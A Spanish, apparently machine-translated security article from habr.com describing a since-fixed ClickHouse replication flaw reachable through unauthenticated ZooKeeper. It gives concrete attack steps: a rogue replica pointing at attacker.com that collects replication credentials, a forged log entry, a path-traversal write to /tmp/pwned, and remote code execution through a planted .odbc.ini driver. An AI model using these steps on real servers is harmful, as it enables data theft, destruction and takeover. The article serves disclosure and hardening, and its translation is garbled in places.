¿Por qué es necesario mantener cerradas las jaulas del zoológico?

¿Por qué es necesario mantener cerradas las jaulas del zoológico?

Este artículo contará la historia de una vulnerabilidad muy específica en el protocolo de replicación de ClickHouse y también mostrará cómo se puede ampliar la superficie de ataque.

ClickHouse es una base de datos para almacenar grandes volúmenes de datos, que suele utilizar más de una réplica. La agrupación y la replicación en ClickHouse se basan en la parte superior Guardián del zoológico de Apache (ZK) y requieren derechos de escritura.

La instalación predeterminada de ZK no requiere autenticación, por lo que miles de servidores ZK utilizados para configurar Kafka, Hadoop y ClickHouse están disponibles públicamente.

Para reducir su superficie de ataque, siempre debe configurar la autenticación y la autorización al instalar ZooKeeper.

Por supuesto, existen algunas deserializaciones de Java basadas en días 0, pero imagine que un atacante pudiera leer y escribir en ZooKeeper, utilizado para la replicación de ClickHouse.

Cuando se configura en modo clúster, ClickHouse admite consultas distribuidas DDL, pasando por ZK - para ellos se crean nodos en la hoja /clickhouse/task_queue/ddl.

Por ejemplo, creas un nodo /clickhouse/task_queue/ddl/query-0001 con contenido:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

y después de eso, la tabla de prueba se eliminará en los servidores del clúster host1 y host2. DDL también admite la ejecución de consultas CREATE/ALTER/DROP.

¿Suena aterrador? Pero, ¿dónde puede obtener un atacante las direcciones de los servidores?

Replicación de ClickHouse funciona a nivel de tablas individuales, de modo que cuando se crea una tabla en ZK, se especifica un servidor que se encargará de intercambiar metadatos con las réplicas. Por ejemplo, al ejecutar una solicitud (se debe configurar ZK, chXX - nombre de la réplica, Foobar - nombre de la tabla):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

se crearán nodos columnas и metadatos.

contenido /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

¿Es posible fusionar datos de este clúster? Sí, si el puerto de replicación (TCP/9009) en el servidor chXX-address el firewall no se cerrará y no se configurará la autenticación para la replicación. ¿Cómo omitir la autenticación?

Un atacante puede crear una nueva réplica en ZK simplemente copiando el contenido de /clickhouse/tables/01-01/foobar/replicas/chXX y cambiando el significado host.

contenido /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Luego, debes decirle a las otras réplicas que hay un nuevo bloque de datos en el servidor del atacante que deben tomar: se crea un nodo en ZK. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX contador que crece monótonamente, que debería ser mayor que el último en el registro de eventos):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

donde réplica_fuente — el nombre de la réplica del atacante creada en el paso anterior, bloque_id — identificador de bloque de datos, obtener - comando "obtener bloque" (y aquí hay comandos para otras operaciones).

A continuación, cada réplica lee un nuevo evento en el registro y va a un servidor controlado por el atacante para recibir un bloque de datos (el protocolo de replicación es binario y se ejecuta sobre HTTP). Servidor attacker.com Recibirá solicitudes:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

donde XXX son los datos de autenticación para la replicación. En algunos casos, puede ser una cuenta con acceso a la base de datos a través del protocolo principal ClickHouse y el protocolo HTTP. Como ha visto, la superficie de ataque se vuelve críticamente grande porque ZooKeeper, utilizado para la replicación, se quedó sin autenticación configurada.

Veamos la función de obtener un bloque de datos de una réplica, está escrita con total confianza de que todas las réplicas están bajo el control adecuado y existe confianza entre ellas.

¿Por qué es necesario mantener cerradas las jaulas del zoológico?
código de procesamiento de replicación

La función lee una lista de archivos, luego sus nombres, tamaños, contenidos y luego los escribe en el sistema de archivos. Vale la pena describir por separado cómo se almacenan los datos en el sistema de archivos.

Hay varios subdirectorios en /var/lib/clickhouse (directorio de almacenamiento predeterminado del archivo de configuración):

banderas - directorio para grabar banderas, utilizado en la recuperación después de la pérdida de datos;
tmp — directorio para almacenar archivos temporales;
Archivos de usuario — las operaciones con archivos en solicitudes están limitadas a este directorio (INTO OUTFILE y otros);
metadatos — archivos sql con descripciones de tablas;
configuraciones_preprocesadas - archivos de configuración derivados procesados ​​de /etc/clickhouse-server;
datos - el directorio real con los datos en sí, en este caso para cada base de datos simplemente se crea aquí un subdirectorio separado (por ejemplo /var/lib/clickhouse/data/default).

Para cada tabla, se crea un subdirectorio en el directorio de la base de datos. Cada columna es un archivo separado dependiendo de formato del motor. Por ejemplo para una mesa Foobarcreado por un atacante, se crearán los siguientes archivos:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

La réplica espera recibir archivos con los mismos nombres cuando procesa un bloque de datos y no los valida de ninguna manera.

El lector atento probablemente ya haya oído hablar de la concatenación insegura de nombre_archivo en una función. WriteBufferFromFile. Sí, esto permite a un atacante escribir contenido arbitrario en cualquier archivo del FS con derechos de usuario. clickhouse. Para hacer esto, la réplica controlada por el atacante debe devolver la siguiente respuesta a la solicitud (se han agregado saltos de línea para facilitar la comprensión):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

y después de la concatenación ../../../../../../../../../tmp/pwned el archivo será escrito /tmp/pwned con contenido holadesdezookeeper.

Hay varias opciones para convertir la capacidad de escritura de archivos en ejecución remota de código (RCE).

Diccionarios externos en RCE

En versiones anteriores, el directorio con la configuración de ClickHouse se almacenaba con derechos de usuario. casa de clics por defecto. Los archivos de configuración son archivos XML que el servicio lee al inicio y luego los almacena en caché. /var/lib/clickhouse/preprocessed_configs. Cuando se producen cambios, se vuelven a leer. Si tienes acceso a /etc/clickhouse-server un atacante puede crear el suyo propio diccionario externo tipo ejecutable y luego ejecutar código arbitrario. Las versiones actuales de ClickHouse no proporcionan derechos de forma predeterminada, pero si el servidor se actualiza gradualmente, dichos derechos podrían permanecer. Si admite un clúster de ClickHouse, verifique los derechos del directorio de configuración, debe pertenecer al usuario root.

ODBC a RCE

Al instalar un paquete, se crea un usuario. clickhouse, pero su directorio de inicio no se crea /nonexistent. Sin embargo, cuando se utilizan diccionarios externos, o por otros motivos, los administradores crean un directorio /nonexistent y darle al usuario clickhouse acceso para escribir en él (SSZB! aprox. traductor).

Soportes de ClickHouse ODBC y puede conectarse a otras bases de datos. En ODBC, puede especificar la ruta a la biblioteca del controlador de la base de datos (.so). Las versiones anteriores de ClickHouse le permitían hacer esto directamente en el controlador de solicitudes, pero ahora se ha agregado una verificación más estricta de la cadena de conexión. odbc-bridge, por lo que ya no es posible especificar la ruta del controlador desde la solicitud. Pero, ¿puede un atacante escribir en el directorio de inicio utilizando la vulnerabilidad descrita anteriormente?

Creemos un archivo ~/.odbc.ini con contenido como este:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

luego al inicio SELECT * FROM odbc('DSN=lalala', 'test', 'test'); la biblioteca se cargará test.so y recibí RCE (gracias buglloc para la propina).

Estas y otras vulnerabilidades se han solucionado en la versión 19.14.3 de ClickHouse. ¡Cuida tu ClickHouse y ZooKeepers!

Fuente: habr.com

Añadir un comentario